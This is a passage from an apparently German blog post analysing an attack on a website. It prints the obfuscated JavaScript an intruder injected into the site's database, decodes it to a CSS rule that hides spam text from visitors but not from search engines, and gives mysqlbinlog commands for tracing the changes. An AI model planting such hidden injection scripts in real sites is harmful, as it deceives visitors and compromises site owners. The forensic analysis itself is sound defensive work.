6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C%2F%73%63%72%69%70%74%3E'));</script>

Also etwas Spam-Text und dann verdeckter Javascript-Code.

Wenn man den entschlüsselt ergibt sich der folgende Code.

<sc ript language="Java Script">function dnn ViewState(){var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];t=z='';for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t='';}}x[l-a]=z;}doc ument.wr ite('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();</sc ript>

Wenn man das analysiert, dann kommt man zu

<style undefined>.dnn{pos ition:absolute;top:-9999px}</style>

Der Code dient also nur dazu die Textblöcke für den normalen Benutzer unsichtbar zu machen. Google führt den Javascript-Code nicht aus und sieht dann den Text des Spammers, was das Ziel der Übung sein dürfte. Es geht also um die sog. Suchmaschinenoptimierung.

Wenn man wissen will, was der Einbrecher alles verändert hat, dann kann man die Logdateien von MySQL befragen. Dazu gibt man im MySQL-Verzeichnis z.B. ein:

mysqlbinlog --database=meineDatenbank mysql-bin.000129 | grep rk_czx

Damit ermittelt man alle Einträge in der Datei, die sich auf die angegebene Datenbank beziehen. Für eine schnelle Suche übergibt man die Treffer an grep und lässt eine Zeichenkette suche, die man vorher gefunden hat.

Entfernen kann man die Einträge dann direkt in der Datenbank z.B. mit dem Programm phpmyadmin.